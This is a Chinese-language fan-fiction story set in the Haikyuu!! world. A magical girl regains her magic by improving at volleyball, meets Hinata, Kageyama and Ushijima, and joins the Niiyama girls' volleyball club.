《靠打排球成为魔法少女》
1. 牙白的系统
阎魔乐在奔跑。
身后古朴庄严的宅邸在焮天铄地的烈火中熊熊燃烧，空气中弥漫着刺鼻的焦臭味，灼热的窒息感逐渐侵蚀她的喉咙，剥夺着她的呼吸，可她不敢停下。
她听到有人在远处说着些什么。
“对，阿乐，向前跑。”
“阿乐，去找到真正的自由。”
“阿乐！！”
那声音变成刺破耳膜的尖叫，地面突然陷落，阎魔乐下坠。
无数焦黑的手臂从岩层中伸出来抓住了她的四肢，将她拖向绝望的黑暗，在深渊底部似乎有一道贪婪的目光死死地锁在她的身上。
她向着眼前唯一的光亮徒劳地伸出了手……
阎魔乐从噩梦中惊醒，右手无力地向上举着和梦里的情形重叠，似乎要抓住什么。
天色尚早，窗帘紧闭的室内昏暗不已，她望着白色的天花板眨了眨眼，有泪珠顺着眼角落下，心里仍然弥漫着酸涩的疼痛。
可关于这个悲伤的梦，她已经什么都不记得了。
「哎呀～宿主你醒啦～」一个欢快又可爱的声音响起。
阎魔乐回过神来，抹掉了眼泪。
现在没有时间矫情，她可是来工作的。
因为魔力在这个位面并不存在，所以需要用合理且等价的方式获得。
她坐起身，五指成梳将黑色的长发梳到脑后，查看上司送来的金手指。
【排球打得越好魔力就越强系统】
合理……这合理吗？！
阎魔乐看着系统的名字不知道从哪里开始吐槽。
「宿主难道不觉得这个名字很直白，有一种简单的美感吗？」
嗯，是那个取名废魂淡上司干的好事吧？
“也就是说，我需要通过提升排球水平才能换到相对应的魔力是吗？”
「嗯嗯！统统我啊，会综合评估现阶段水平，包括身体素质、比赛表现和胜负等等，保证公平公正～」
“所以说，在体能、技巧、速度等等排球需要的素质方面的提升上，您是一点加成都没有是吗？”
「嗯嗯，是这样呢～而且利用魔力获得胜利是会受到惩罚的哦～」
它听上去十分骄傲的样子。
喂喂，这可不是在夸你啊！
“你当我物理魔法使吗？”阎魔乐忍不住吐槽，“把魔杖折断然后插进邪祟的双眼痛击它达成净化吗？”
「啊啦～宿主真是的～邪祟是需要魔力才能净化的呢～」
原来你也知道啊？
阎魔乐现在很怀疑系统究竟是真不懂还是装不懂。
她尝试着使用魔力，随着熟悉的力量在体内流淌，白皙的指尖“噌”地出现了一个米粒大小的半透明立方晶体。
三秒后碎裂，消散在空气中。
随之消失不见的还有阎魔乐最后一丝笑容。
这还打个毛啊？
堂堂空间魔法使，现在魔力总量只有全盛时期的百分之一，跟普通人差不多，遇到邪祟干脆两眼一闭躺平受死好了。
最终，她轻叹一声，反手打开了系统界面，把最后的希望押在随机roll到的排球点数上。
姓名：阎魔乐
隶属：？？？
位置：？？？
背号：？？？
身高：174cm
体重：53.2kg
生日：11.11
家中手足：独生女
爱吃的食物：芝士牛丼饭
最近的烦恼：好想打排球啊，可是自己很弱怎么办？
不是？这个设定也有点太具体了吧？
特别是这个烦恼！
她是备受瞩目的新人，可不是什么垫底的菜鸟啊！
阎魔乐的视线向下移去。
哦，别说，还真是。
能力参数
力量：1
跳跃：1
体力：1
头脑：1
技巧：1
速度：1
这何尝不是一种六边形战士呢？
“哈哈……”她忍不住笑了一声。
原来人在无语的时候真的是会笑的。
「宿主，看到自己这么有潜力果然是很高兴吧？」
对对，高中三年全花在进步上了。
你最好不是在嘲讽。
阎魔乐有气无力地关上面板，决定先起床。
这个世界中，她名义上的父母常年在国外工作，留下她一人住在宫城县的家里。
阎魔乐对空荡荡的家习以为常，毕竟在原本的世界中她也是如此。
亲生父母被邪祟所害，她被秩序局所救，成为了守护各个位面的魔法少女，防止邪祟在其他位面积蓄力量，最后侵蚀主位面。
阎魔乐低头吐掉了漱口水，用冷水抹了把脸，有些下定决心的意味。
她抬起头望向镜子——白皙精致的脸庞，眉眼英气淡然，黑色长发束在脑后，同色的眼眸中透出一丝坚毅。
这是她原来的模样。
她从冰箱拿出昨晚买的面包放到微波炉中复热，又给自己倒上一杯牛奶。
面包不脆了就重新烘烤一下，水杯打翻了就把桌子擦干净。
她向来是这样的人。
所以——
既然只有靠打排球才能获得守护世界的魔力，那就好好练习。
她需要战斗的力量。
「宿主想好了吗？想去哪个学校呢？」
「那我给你介绍一下吧～乌野有超级能跳日向，天才二传影山，还有守护神西谷夕，白鸟泽的牛岛是全国三大主攻手之一……」
“等一下。”阎魔乐打断了系统涛涛不绝的介绍，她轻轻歪过头不解地问，“他们跟我打排球有什么关系？”
系统一下子被问住，结结巴巴地说：「哎？因为是富有魅力的角色，宿主不想和他们相处一下吗？」
少女没有回答这个问题，对话陷入了短暂的沉默。
“滴滴——”
微波炉运作完毕的提示音响起，阎魔乐转身拉开炉门，一阵面包的香气冒出来缓和了气氛。
她咬了一口酥脆的牛角包，发出诱人的“嚓嚓”声，混着牛奶咽下后，她问：“女子排球是哪个学校最强呢？”
「在宫城县的话，是新山女子高中哦～」
“那我就去那边。”没有丝毫犹豫，她立刻做出了决定，三两口将早饭送入腹中。
「欧欧欧，不愧是宿主，燃起来了呢！」
阎魔乐看着自己纤瘦的手臂，她很怀疑自己能不能把仅仅260克左右的排球打到网的那边去。
为了验证这一点，她找到了与排球有着最紧密联系的那个人。
或者说，故事的原点。
“阿乐～我来啦～”
富有元气的少年音伴随着敲门声传来，拉回了阎魔乐的注意力，隔着大门上的毛玻璃都能感觉到那是个耀眼的身影。
按照设定，门外是她的幼驯染日向翔阳。
从小，她一直和日向是邻居，也是雪丘初中的同学。升入高中后搬家，原以为会就此疏远，结果日向也考在了附近的高中。
只不过，设定出的感情并不是真实的。
对于日向来说，阎魔乐是他一起长大的好朋友，可是对于她自己来说，日向是第一次见面的、熟悉的陌生人。
即使，她也曾经为他的故事感动过。
朋友……
阎魔乐默念着这个陌生的词汇，心中起了几分波澜。
残缺的记忆显示，她好像从来没
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有什么朋友。
“来了。”
阎魔乐披上运动服外套，将柔顺的长发从衣服中拉出来。
她打开门，三月底的风依然带着凉意，橘色的少年就站在那里。
“阿乐，早上好～”
日向扶着自行车，爽朗地笑起来冲她打招呼。
他仿佛一团温热的光芒不断散发着热能，直接扫去了大半因系统造成的阴霾，有些冷淡的阎魔乐都不免露出浅浅的笑容。
真挚而直接的感情最打动人心不是吗？
“翔阳早啊。”
她微笑着，坐上了少年的后座，轻轻抓着他的衣服，像个多年的好友一般没有露出一点破绽。
不愧是小太阳啊。
“那么，坐稳咯～我们去哪里？还让我带着排球。”
日向欢快地说，明明没有确定目的地，他已经用力蹬起了自行车。
「很温暖吧？～宿主，你刚才要是选择乌野的话，就可以一直和他在一起哦～」
阎魔乐装作没有听到。
“这边附近的排球馆。”阎魔乐已经把路线记在了脑子里。
“真的吗？！”
日向一个急刹，她因为惯性直接贴到了他的背上。此时，少年的背肌还有些单薄，但已经隐隐有了训练的痕迹。
他激动地回过头来，微微喘息着，眼眸中透出满含兴奋的光。
阎魔乐对上他的视线，顿时坠入了那股热情中，耀目得让她不免愣了愣。
“翔阳很喜欢排球吧？”
“非常喜欢！”
热忱的少年微微抬头，似乎在憧憬着即将开始的高中生活。
“要看路哦，翔阳。”
“嘿嘿～”日向不好意思地笑笑。
下一秒，他想到了什么，抬眸思考着，迟疑地说：“可是从来没看阿乐你打过排球呢……在雪丘的时候也是。”
“翔阳还不是一样，第一场正式比赛就输给北川了吧？”阎魔乐想要逗逗他，故意这么说。
日向脸一红嚷嚷着：“等我进了乌野，我一定打败那个「王者」给你看。”
虽然知道他们后续的旅程，阎魔乐决定回归幼驯染的身份。
“嗯，因为翔阳很能跳嘛～我可不能输给你的。”
“嘿嘿～”日向爽朗地笑起来，“阿乐的话肯定没问题的。”
他又开始蹬自行车，可能是因为前往的方向是他所渴望的，所以蹬车的力气似乎又大了几分，街道的景色快速向后移去。
“哎？为什么呢？”
有一说一，别说排球，她就没怎么运动过。
毕竟，魔法少女一直跑来跑去也太逊了吧。
“因为阿乐比我还要高上几公分呢，在女生中已经很了不起了。”
“哎？可是我从来没有碰过排球。”
“因为弹跳、速度这些只要后天努力就可以进步，身高才是了不起的才能呢！”他理所当然，然后慌乱地解释道，“我不是说那些就不重要。”
阎魔乐当然明白他的意思，日向从来就是一个向上而努力的人。
就连出行载她也是认为这样可以锻炼到自己。
这真的很翔阳。
他从来不会放弃任何变强的机会。
排球馆不算太远，大约一刻钟就到了。
阎魔乐轻巧地将双腿落到地面上，看着兴致勃勃的日向，她突然说：
“谢谢你，翔阳，你要努力成为小巨人啊～”
“嗯！我一定会的。”
少年笑起来，像温柔燃烧的火焰。
火焰明明是会伤害到人的存在，此刻，阎魔乐却不感到害怕或者反感。
鬼使神差的，她伸出手摸了摸少年的毛茸茸的脑袋。
她亲手触摸了太阳。
2. 朴素的魔法少女
日向涨红了脸，伸手想捂住被触摸的地方，手到半空却又放弃。
“我们快进去吧。”
他手忙脚乱地锁好车，迅速拉出一抹橘色的残影往里头跑去，有一种慌不择路的感觉。
阎魔乐好笑地看着这一幕，垂下的指尖微微颤动了一下，似乎感受到了某种力量，她赶紧跟了上去。
这家排球馆规模并不大，因为是春假期间，排球馆的人从早上开始就不少。
刚换好鞋子走进场馆，日向猛吸了一口气，陶醉地说：“啊～是塞隆巴斯的味道～”
“可以麻烦阿乐给我托球吗？”
日向从包里拿出排球递给阎魔乐，甚至都没有热身。
第一次摸到球的心情有些不知道怎么形容。
曾几何时，排球是离她那么遥远的存在，现在又几乎代表了她的一切。
因为身高的关系，阎魔乐的手并不算太小，这颗直径在21cm左右的排球就这么轻巧被她捧在手心。
日向冲她挥挥手：“阿乐，我准备好啦”
阎魔乐尝试着将排球轻轻向日向那边抛去，结果力度太轻，还没到可以被打到的位置上就已经下落。
不然就是力度太重，直接越过了日向的手。
“抱歉。”
“没关系，再来一个！”
托球真是不容易呢，不仅要在球的运动中瞬间托球，还要顾及高度、角度、速度还有攻手的起跳状态……
如此看来，二传手还真是妖怪呢。
这么想着，她的脑海中闪过了一系列二传的样貌。
终于在多次尝试后，歪打正着了一次。
日向高高跃起，挥臂“砰”地一声，排球“咚”一下砸到地上。
“啊～果然扣球的感觉很棒呢！～”
扣球成功，日向激动得全身颤了一下。
近距离看日向起跳果然能感受到那种蓬勃的气势和要满出来的热爱，那些感情溢出，逐渐沾染到了阎魔乐的身上。
打排球似乎是很快乐的事情！
“少年，你很能跳啊。”一个和善的大叔走过来，“我们这边正好缺一个人可以比赛。”
那是一支业余爱好者的队伍，其中有男有女，年龄各异。
“可是……”日向面露难色。
阎魔乐善解人意地说：“没事的，翔阳，我正好可以做一些基础练习。”
从一开始她就知道，这样的托球对他们来说，没有办法起到实质性的进步，就像后来的日向也是一步步变强的。
打比赛的日向跑动穿梭，宛如一道橘色的光芒欢快而醒目。
秉承着「菜就多练」的宗旨，阎魔乐观察在一边练习的孩子们，学着他们的样子从基本的动作开始练习。
当然了，阎魔乐并不是天才。
第一次正式触碰排球，无论是垫球还是发球，都不是很顺利。
这番稍显笨拙的行为引起了一个小女孩的好奇。
“姐姐，你是第一次打排球吗？”
女孩轻轻把球抛给她。
“嗯，是的。”
阎魔乐尝试着双手垫球接住，球却因为角度问题直接偏了出去，她轻叹一声无奈地说。
“就是排球很不听话呢。”
“告诉你一个秘密哦～”女孩凑过来神秘兮兮地说，“老师说了，只要不断努力，排球就会变得很听话。”
“嗯，那我们一起加油吧。”她温柔地回复。
排球并不简单，基础练习也很枯燥，但是她一向喜欢迎难而上。
第一次发球，第一次接球，第一次传球……
都是非常新奇的体验，只不过，超高的失误率证明了能力参数的准确性。
太阳升到头顶，一上午的时间很快就过去了。
「宿主真的很努力呢～」
闭嘴，这究竟是谁害的啊？
“抱歉，阿乐，我……”日向不好意思地摸摸头。
明明是一起来的，他却一直在和别人打排球。
阎魔乐看着有些灰扑扑的双手，胳膊上出现因为撞击产生的紫色小点，隐隐还有些疼痛。
可是不知道为什么，她心情很畅快。
所以，她只是摇摇头。
“翔阳，以后我们还是要一起打排球呀！”
***
好不容易回到家里，阎魔乐已经觉得自己精疲力尽了。
她点了份拉面有一口没一口地吃着。
明明在球场上跳上跳下的是日向，却是做了简单基础训练的她几乎抬不起双臂。
日向可真了不起啊……他还得花二十多分钟骑车回去呢。
这么想着，阎魔乐对她这个幼驯染多了几分敬畏。
就上午那一会的基础训练，她硬生生休息到了晚上。
拿回魔力之路真是道阻且长啊……
还好阎魔乐一向身残志坚，她趁着休息的时候，先是列出了让埼玉老师变强也变秃的训练方案，然后修改成自己现阶段可执行的计划，并制定了多条晨跑和夜跑的路线，确保车少人少，安全又自如。
今晚，她决定去实地查看下路线，看看是否有不合理的地方。
除此之外，她还带上了新买的排球，等跑完步可以巩固下技术。
最后，事实证明她的想法根本就是多余的。
要死要死要死……
这才刚刚慢跑了2公里，她就几乎要窒息了。
这个能力参数也太严谨了吧！
1就是1，毫不虚低。
她扶着电线杆大口喘/息。
“啊啊啊啊啊啊啊！”
一阵惊恐的惨叫声传来，阎魔乐的脸色一变。
「宿主，那边传来不妙的气息，可能是邪祟。」
“嗯，我感觉到了。”
阎魔乐吸了一口气，朝声音的方向上跑去。
一般这个时候，魔法少女应该要华丽变身了对吧？
开玩笑，她哪有多余的魔力变身？
形式主义要不得，整不了那些虚的。
就是说运动装魔法少女，真是很朴素啊……
空地上，一个女孩惊恐地坐在地上瑟瑟发抖，眼睛怔怔地看着前方——
一个人形的黑影静悄悄地立在那里。
这是最低等的邪祟，没有实际的攻击能力，只能用吓人的方式收集人类恐惧的力量。
一般只有精神力量稍弱的人才能看得到，例如孩子或是被折磨了一天才下班的社畜。
阎魔乐飞奔过去抱住了女孩，把她紧紧搂在怀里，切断了她和邪祟的视线接触。
“姐姐，呜呜呜呜……” 女孩抽泣起来，应该是受到了很大的惊吓。
阎魔乐认出来，这个女孩正是上午和她一起练习的善良的孩子。
“别怕，闭上眼睛，姐姐给你变个魔法，把坏家伙变走哦。”
她侧头看了看背着的排球，突然咧开一个微笑。
她将仅有的魔力覆盖在排球上，狠狠往邪祟头上砸过去，期待一击即杀。
结果，那颗球无力地穿过了黑影，滚落在地上。
天，她已经弱成这样了吗？
黑影受到了攻击有些骚动，扭曲起来，某些部位正在变淡，看来是想要逃走。
可恶，剩下的魔力不够再一次攻击了。
这时，某个夜跑的男生突然在街角出现。
嗯，蓝莓头，高挑的身材，池面的样
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貌和糟糕的表情。
影山飞雄，你藏原走是吧？
阎魔乐顿时有了主意，她轻轻一招手，用最后的魔力把排球重新拿回到手上，然后大喊：“影山君！”
影山愣愣地看了看四周，指了指自己确定是在叫他自己后，愣愣地走过来。
“影山君，请你朝着我手指的方向5米左右的位置发球吧！”
阎魔乐伸出手指着黑影的头部。
“哎？可是……”
“没有时间解释了。”她把球递过去催促道，“要大力跳发！”
影山当然很不理解这个莫名其妙出现的女生提出的奇怪的要求，不过既然是与排球有关……
就当是练习发球了。
他甚至没思考为什么她会知道自己的名字。
一旦碰到关于排球的事情，他就会变得很纯粹。
影山接过球退后几步，深呼吸了一口气，向上抛球，助跑、跳跃、出手。
一切一气呵成，有一种顺理成章的赏心悦目。
精准而有力。
不愧是未来发球排行榜第一啊。
那颗带着魔力的排球呼啸着正中黑影，剜去了一大块黑色。
黑影剧烈的扭动着，最终不甘心似地消失在空气中。
阎魔乐见状，高兴地大叫：“杀人发球直接得分！！”
“哈？”影山露出更为糟糕的表情。
嗯，或者应该说是「祛邪发球」。
阎魔乐在心中纠正道。
“看，坏家伙不见啦～”她温柔地摸了摸女孩的脑袋。
女孩小心翼翼地睁开眼睛，发现黑影真的不见了，恐惧立刻一扫而空，反而高兴起来。
“姐姐好厉害，虽然打排球很弱。”
啊啊，不用强调这件事啦。
“不过，我会魔法这件事不能被其他人发现，所以这是我们之间的秘密哦。”
阎魔乐冲俏皮地她眨眨眼，女孩兴奋地点点头。
至于影山有没有听到她并不关心，毕竟在排球之外他就是笨蛋，听不懂的。
来寻找女孩的父母不住地对他们表示感谢。
面对父母的询问，女孩则一脸兴奋地保持着神秘兮兮的态度说“这是秘密哦”。
阎魔乐站起来拍了拍腿上的灰尘，叫住了要离开的影山。
“影山君，排球很有趣对吧？”
她记得，现在的他还没有遇见日向——这个让彼此互为「最强」的队友。
影山飞雄擦了擦脸上的汗不明所以地看着她。
自从初三在赛场上失利，被队友“抛弃”，被教练换下场之后，他的心底总是残留着某些恐惧。
明明他马上就要升入乌野，遇到新的队友……可那种恐惧只增不减。
然而，今晚莫名其妙的遭遇却好像舒缓了一些这样的情绪，他甚至想起来某些根源性的问题。
例如，为什么打排球？
例如，为什么要当二传手？
这甚至让他稍微回忆起一些最纯粹的快乐。
能够打排球的快乐。
这一切来自于面前这个奇怪的少女。
阎魔乐轻轻走过去捡起排球，回过身微笑着对着影山说：“一直打下去吧，别担心。”
“未来，你会遇见超棒的队友，超棒的对手，打更多超棒的比赛的。”
那一刻，夜风清凉，黑暗中似有微光轻闪。
影山看不清，稍稍眯起眼看过去——
那是少女眼中的光芒，稍稍凌乱了少年的心。
于是，他偏过头垂下眼不再与她对视。
他在夜色中隐藏起微微泛红的脸庞，只低低地回了一句：
“好。”
3. 跑向新山
闹钟是7:00响的，人是7:01没的。
阎魔乐一睁眼就听到了全身肌肉的哀嚎，然后开始后悔为什么不循序渐进一点。
糟糕，耳鸣了。
拖着沉重的身子，她靠着意志力起床，补充了碳水和蛋白质，等待稍稍消化后就换衣服出门。
她现在连最低等的邪祟都净化不了，再不快点变强遇到更强的敌人就麻烦了。
总不可能找个会大力跳发的人跟在身边吧？
晨跑，阎魔乐选择了一条新的线路。
这条路线适合她开学后进行晨练。
日向报考的是有「没落的豪强」、「飞不起来的乌鸦」之称的乌野高中，从他的家到学校的路线上刚好会路过新山女子高中。
他第一时间自告奋勇地揽下了送她上学的工作。
不过，阎魔乐拒绝了，她现在也要和他一样抓紧一切变强的机会。
跑步真的是一件非常需要毅力的事情。
人类必须压榨心肺，调动全身肌肉，一直跑到呼吸困难、心脏哀嚎、铁锈的味道从喉咙弥漫到口中。
人在跑步的时候，思维会异常地活跃。
唔，好痛苦。
以前在学校跑800米有那么累吗？
哎？她……有跑过吗？
算了，跑过那个转角就稍微休息下……
阎魔乐依靠标志物激励法，将目力所及的物件当成激励的标志物，硬生生比昨晚多跑了三百米。
“吭哧吭哧”跑过转角，阎魔乐正在为自己能够休息下感到高兴的时候，她一头撞上了一堵富有弹性的「墙」。
等等，路边怎么会有墙？
本就无力的她顿时腿一软，被撞得七荤八素地就要倒在地上。
下一秒手腕被抓住，她像少女漫画那样被扯到了那堵「墙」上。
嗯，触感很好。
阎魔乐抬头，一张面无表情的古板帅脸映入眼帘，她一下就认出了来人。
未来的国产主炮，牛岛若利。
当然，现在他还是个临近成年的高中生。
只是……
高中生，你管这个叫高中生？
牛岛近190的身高和壮硕的身材几乎要吓晕阎魔乐，亲眼看到的冲击力不可同日而语。
这什么？肌肉大炮吗？
这条手臂、这个躯干打出来的球应该一发干掉十个低等邪祟吧？
简直就是对邪祟专用发球机。
“多谢帮助，牛岛君。”
阎魔乐不好意思地笑笑，稍稍动了动手腕表示自己已经站直了，牛岛适时地放开了左手。
他一开始还因为跑步有轻轻的喘息，但他很快稳住了呼吸。
“你认识我么？”
“啊，因为刚开始接触排球，有看到关于白鸟泽的新闻，牛岛君曝光度很高呢。”
阎魔乐张口就来，突然她感到一阵晕眩，下意识扶住墙。
当然是真的墙。
“低血糖？”牛岛向前跨了半步，见她稳住身子又停下了动作。
她摇摇头：“应该就是单纯累的。”
“以你现在的水平，不应该逞强。”
从父亲那里耳濡目染的运动学知识让他一眼就看出阎魔乐的运动水平，结果一句话杀死比赛。
呵、呵呵……
如果不是知道他就是这样直白的说话风格，阎魔乐一定当场火力全开。
“稍等。”
牛岛四处看了看，留下一句话，径直走进一家便利店。
等阎魔乐反应过来他要干嘛跟过去的时候，还是晚了一步。
肌肉高中生拿着运动饮料和能量棒递到她手上，饮料的瓶盖还被稍稍拧开。
在她的印象中，牛岛应该是那种过于正直，所以显得情商很低的人。
所以对于他来说，这就是别无他想、理所当然的解决方案。
这就是热血运动番的含金量吗？
推辞无意义，阎魔乐舒了口气，打开盖子喝了一口饮料。
“再次谢谢啦，牛岛君，打扰你晨练真的不好意思。”
“没关系，队友们正好也赶上来了。”
牛岛向街尾看去，有几个身着白紫运动服的男生正向这边跑来。
其中一个红色冲天发型的消瘦男生喊着“若利～”，无疑是天童觉。
“下次见面的时候，我会还礼的，告辞了。”
阎魔乐挥了挥手中的能量棒，礼貌欠身后走开，与白鸟泽的大部队擦肩而过。
这个年份没有普及智能手机，她也没有带零钱，就算留了邮箱也并不方便，因为约着见面仅仅是还钱也太兴师动众了。
最重要的是——无论如何，她都会去看今年10月份乌野和白鸟泽的春高排宫城县代表决定站。
所以，她并不是随便说说。
当然，牛岛并不在乎这件事。
且不说白鸟泽的各位基本都家境殷实，他单纯只是觉得想要运动就要先照顾好自己的身体，变强是全方位的事情。
强者的思维从来简单而坚定。
***
之后的日子里，阎魔乐遵循着一天两跑提升耐力、加强心肺，自主对垫球、发球进行训练。
为了避免麻烦，同时扩大针对于邪祟的侦查范围，她特地换了跑步的路线，所以也没有再遇到过影山，倒是和牛岛相遇过一次，不过当时他在街对面快速掠过，并没有看到她。
至于扣球和接球的训练不能一个人进行，因此她和日向相约突击训练。
虽然小太阳满脑子只有扣球就是了，不过她可托不出影山那样的球。
她也尝试过无网扣球，但因为力量太小、跳跃的高度也不够，看上去并没有什么威力。
可即使如此，日向仍然会灿烂地笑起来说：“阿乐能一起打排球真是太好了呢！”
好像对他来说，打排球就是世界上最开心的事情。
阎魔乐每天都会确认系统面板，能力参数仍然是稳稳的六边形。
果然落后了太多啊。
她当然希望自己是个排球天才，可是普通人也有普通人的战斗方法。
尽管数据没有变动，但是她能很明确地感受到自己的体力有所增长。
从以前要死不活地跑两公里，到现在可以要死不活地跑到四公里了。
十多天的春假很快就结束了，正式入学的时间就在眼前。
开学第一天，正好赶上晨练的休息日。
阎魔乐穿上了白色衬衫和红色格子裙，打上同色系领带，套上黑色长袜。
那头乌黑的长发已经被剪短到肩膀，这样既不会有刘海挡视线，堪堪能扎起来的辫子也不会太长影响运动，最重要的是不用花太多时间打理。
这是她认真考量下认为比纯粹短发更适合打排球的发型。
「哇，宿主的决心统统我有好好的感受到哦～真是太令人感动了呢～」
“别说这种没用的话，还不如直接把
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魔力还给我。”
「要遵守位面规则哦～」
那你说个……
阎魔乐抓起装着排球鞋和运动服的书包出了门。
下了公交，身边陆陆续续有穿着相同制服的同学经过。三三两两的女生轻声细语着，透露着某种高傲的贵气。
阎魔乐在学校大门口停下，遥望着白色的教学楼，阳光从乌云中探出脑袋，为眼前的景象镀上一层光晕。
像是某种光明的感召。
高中生活啊……
算是有些期待呢。
刚进学校，已经有不少社团摆出摊位正在邀请新生加入自家的部门。
一看到阎魔乐，几位学姐围了过来。
“同学，你长得挺高，要不要加入篮球部呢？”
“羽球也可以哦。”
正如日向所说，身高是最棒的才能。
即使在高等的赛事中她的身高还不够看，但是在高中阶段，174的身高已经很不错。
排球部……
她环顾了四周，却没有看到相应摊位。
“学姐，麻烦问一下，排球部没有来招新吗？”
“这个啊……”和善的学姐面露难色，“新山的排球一直都是春高的种子队，并不担心没有人加入，所以……”
旁边的学姐补充道：“而且，这一届的队长非常严格，认为有这个时间还不如多训练一会，真是很辛苦呢。”
“原来如此，多谢学姐。”
阎魔乐点点头，脑海中只冒出一个念头——来对了！
这不得猛猛进步？嘎嘎打怪？
她欠身礼貌地问：“麻烦可以告诉我排球馆的位置吗？”
开学第一天，阎魔乐在进教室之前率先到了排球馆的门外。
她听着那些将会贯穿整个高中生涯的声音。
排球馆中传来排球砸下的“咚咚”声，排球鞋踏在地板上的脚步声，学姐叫着“再来一个”的呼喊声。
她敲了敲门，无人应答，看来所有人都在认真练习着。
“失礼了。”
说着，她慢慢地移开了排球馆的大门。
“小心！”
伴随着一声轻呼，一颗排球呼啸而来，带着一股凌厉的风擦过了她的耳侧。
阎魔乐瞪大了眼睛，气流卷起的发丝缓缓落下，愣了一秒钟后，她不可置信地回头看向那颗砸在地面上又弹起的排球。
高中女生竟然也可以打出这么高的速度？
也许是超棒的托球之下尽力的一击。
这就是新山的实力吗？和业余的排球果然是不一样的。
“抱歉，抱歉，没有受伤吧？”
一个高大的身影跑过来，双手不安地绞在胸前，不住地道歉。
阎魔乐看向来人——可爱的短发少女，但182。
「天内叶歌，是一位强力进攻型选手。」系统适时介绍。
她思索了一秒，转身跑开捡回了排球，双手递给了准王牌。
叶歌接过，柔和地笑起来：“谢谢，同学你是？”
是拯救世界的魔法少女啊。
不过既然是热血运动番，那这次正式登场就热血一点好了。
阎魔乐深深吸了一口气，面向球场大声地自我介绍：“我是今年的新生，1年1班的阎魔乐。”
某个橘色少年在她的脑海中一闪而过，她喊出一句日向才会说的话——
“梦想是加入排球部，成为新山的ACE！”
4. 入部申请
一时间，排球馆中的训练因为这里的骚动停了下来，短发的学姐们全部都转过头，数十道目光齐刷刷射过来显得十分有压迫感。
“哇，真敢说。”温柔的眯眯眼副队长笑了一声。
“哈哈哈，口气不小嘛。”高大的王牌咧开嘴笑得像一个反派，“但我喜欢这个家伙。”
一个清冽的声音响起，整个排球馆顿时气氛一滞。
“我认可你的热情，但是你几乎没有运动过吧？”新山女子排球队的队长风间枝走到场中，冷静地看向她，“或者说刚开始运动没多久。”
被一眼看穿了啊……阎魔乐有一丝心虚。
她确实是为了拿回魔力才打排球，不过想打好的心是一点不少。
她硬着头皮找到了一句合适的对白：
“排球是那样的运动吗？是只有被选中的人才能参加的运动吗？”
“漂亮话谁都会说，新山不欢迎因为豪强的名号一上头就随便说着加入，然后因为高强度的训练退缩的人。”
风间枝看上去丝毫没有被这句话影响。
“我是绝对不会放弃的。”阎魔乐捏紧了拳头。
“如果真的那么热爱排球，那么过去的几年你都在干什么？”
“我……”她垂眸，“是因为因为一些原因。”
2号副队长花咲一叶温柔提醒道：“太严肃了哦，小枝。”
风间枝停顿了一下：“新山很强，我们也准备继续强下去，别说替补，很多人连正式队员的资格都拿不到，这样也没有关系？”
阎魔乐看似答非所问地说：“2.24米的网确实很高，但是我可以跳。”
嗯，应该吧。
“就算跳起来，网的那边也会有一堵高墙。”队长露出一丝微不可及的笑容，“放学后拿着入部申请过来。”
阎魔乐心头一喜，深深鞠躬：“是，队长！我会冲破一切高墙的！”
她快速跑开，似乎深怕风间枝反悔。
“哇，我真是要被这家伙的热情感动了。”4号王牌望月须弥叉着腰说，“对吧，小芽。”
3号MB雪村芽默不作声地点了点头算作回应，5号MB飞鸟苗香趁着这个空隙捡起几个散落的球。
“前辈刚才好严肃啊……”7号自由人云中芥子弱弱地说。
“嘛，确实是小枝的风格呢～”花咲一叶操着一口软软糯糯的关西腔说道，她已经明白了自己的队长的意思。
“如果因为被质疑不能打排球就立刻退缩的人，又怎么坚持下来呢？”
风间枝将视线从阎魔乐离去的背影移开，转向大家：“好了，最后十个球，打完去上课。”
“是！”
***
新生开学的第一天新奇又平常。
因为身高的缘故，阎魔乐被换到靠窗后排的主角位置上。
讲台上，老师正在上课，她惊奇地发现自己差不多能听懂。
她的记忆残缺混乱，听上司说是因为受到邪祟攻击的缘故。
虽然没上过学的记忆，但好歹也看过那么多青春番。
尽管那些高中生要么进/监/狱踢足球、要么打杀/人网球、要么打超能力篮球，总之都不怎么好好上课。
她记得大致的剧情走向，这是个遗憾与美好并存的故事，所以她决定当一个幸运的旁观者。
当然，这里没有关于她的笔墨，所以未来的剧情将由她自己书写。
翔阳发来消息：「我已经递交入部申请了！」
「嗯，我也是。」
她差不多能想象小太阳雀跃的样子。
「真的超级期待呢，终于能好好打排球了。我一定要扣好多好多球！」
说起来，那么他和影山也要再次遇见了吧……
「翔阳一定会飞向高空的。」
就在阎魔乐开小差的时候，系统善意地提醒道：「宿主应该没有忘记吧，考试不及格可是会影响远征和合宿的哦～」
干脆叫高中模拟器好了！
课间和午休时，有些从初中一起升学的同学自然地聊到了一起。
阎魔乐长了一张「看上去就不好相处」的脸，没什么人敢过来轻易搭话。
她乐得清静，正好系统性地从头复习排球知识。
排球是一项永远积极向上看的运动，以立于球场中央的球网为界，两队进行比赛，球不可落地，亦不可持球，是以三次截击来连接攻击的球类运动……
“那个，阎魔同学也喜欢排球吗？”前桌突然转过头来说道。
阎魔乐吓了一跳。
刚才班上自我介绍的时候有这么个人吗？
明明是在她的前座，她却根本没有注意，存在感也太低了吧？
少女一头黑色的短发，发绳绑起来的刘海小啾随着她的动作在脑袋上一晃一晃，看上去很有元气的样子。
阎魔乐勉强回忆起她的名字——十六夜悦。
出于人设考量，她决定睁眼说瞎话，也许多多自我暗示，事情就会往好的方向发展。
“嗯，非常喜欢。”
“太好了！”十六夜激动地捧起了她的手，“我也非常喜欢排球，我要成为世界第一的二传手。”
嗯……真是很宏大的梦想啊……
“二传手是全队触球最多的位置，很了不起。”
阎魔乐感受到那双手长着些许薄茧，与自己光洁的皮肤形成了鲜明的对比。
那是努力的痕迹。
似乎是注意到她的视线，十六夜不好意思地收回手。
“不过我的存在感很低，很难与队友配合，所以一直都没什么上场的机会。”
阎魔乐略一思忖道：“那不是能够迷惑对手的绝佳特质吗？”
无法被对手锁定，从视野中消失，那意味着能够铺开很多战术，打对面一个措手不及才对。
“话是这么说，但是队友也会对突然到面前的球感到反应不过来而造成失误。”
十六夜有些低落地垂下眼，继而又像自我打气一般地说：
“不过以前有一与爷爷、美羽姐姐和飞雄一起练习，我可一点都不弱呢。”
“飞雄……”
这么巧？
“嗯！影山飞雄，是及川学长认可的天才二传手呢。”十六夜眉开眼笑起来。
不知怎么的，阎魔乐在十六夜的身上幻视了自己名义上的幼驯染。
对面的幼驯染又刚好是那个影山。
该说是命运的安排吗？
“那么，同学们放学后是社团参观时间，大家可以选择心仪的社团加入哦。”
老师一走出门，
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教室内顿时熙熙攘攘起来。
